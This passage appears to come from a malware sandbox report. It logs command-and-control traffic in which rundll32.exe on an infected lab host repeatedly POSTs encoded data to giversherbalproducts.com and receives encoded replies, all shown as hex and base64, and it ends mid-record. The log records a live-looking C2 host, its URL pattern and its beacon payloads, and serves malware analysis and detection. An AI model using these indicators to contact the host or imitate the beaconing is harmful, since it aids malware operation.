Oct 4, 2021 16:03:54.865690947 CEST	7446	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:03:54 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 68 34 65 45 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXh4eEJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
33	192.168.2.3	49788	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:01:27.249859095 CEST	1108	OUT	POST /lBawcxb5/egl7fAgEMAQAAkJ7cn5henxzYn1leQ== HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:01:27.741322041 CEST	1118	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:01:27 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 70 7a 65 30 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXpze0JBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
330	192.168.2.3	50172	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:03:54.486320972 CEST	7446	OUT	POST /lBawcxb5/O3ISJh0lISkdGgFDenV9ZXt9dGF5ZHg= HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:03:54.940813065 CEST	7447	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:03:54 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 68 34 65 45 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXh4eEJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
331	192.168.2.3	50173	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:03:55.218523979 CEST	7449	OUT	POST /lBawcxb5/JAAiIH0BGjwHCQlyeiUJGz5zGjgSH3IHHB8pfEV+cnhlfXlzZHlifA== HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:03:55.681016922 CEST	7450	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:03:55 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 68 34 65 55 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXh4eUJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
332	192.168.2.3	50174	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:03:55.289149046 CEST	7449	OUT	POST /lBawcxb5/CAY8NDwxeTEffCYaHHoWJ3hCfXZ5ZHp6d2V4ZX8= HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:03:55.825355053 CEST	7451	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:03:55 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 68 34 65 55 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXh4eUJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
333	192.168.2.3	50175	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:03:56.082775116 CEST	7452	OUT	POST /lBawcxb5/MwAYeSksIBEFOEJ7cn5henxzYn1leQ== HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:03:56.731901884 CEST	7454	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:03:56 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 68 34 65 6b 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXh4ekJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
334	192.168.2.3	50176	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:03:56.185883999 CEST	7452	OUT	POST /lBawcxb5/cgYjBRp4DDoYNg88ESgfHggTDw0RQ3p1fWV7fXRheWR4 HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:03:56.706007957 CEST	7453	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:03:56 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 68 34 65 6b 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXh4ekJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
335	192.168.2.3	50177	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:03:57.061084032 CEST	7455	OUT	POST /lBawcxb5/fAkNJgYyczEiIgEDQn12eWR6endleGV/ HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:03:57.513618946 CEST	7456	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:03:57 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 68 34 65 30 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXh4e0JBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
336	192.168.2.3	50178	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:03:57.130518913 CEST	7455	OUT	POST /lBawcxb5/OEN6dX1le310YXlkeA== HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:03:57.630337000 CEST	7457	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:03:57 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 68 34 65 30 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXh4e0JBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
337	192.168.2.3	50179	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:03:57.954490900 CEST	7458	OUT	POST /lBawcxb5/HDMfexYCLQN8ejIsOUV+cnhlfXlzZHlifA== HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:03:58.403358936 CEST	7459	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:03:58 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 68 34 64 45 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: 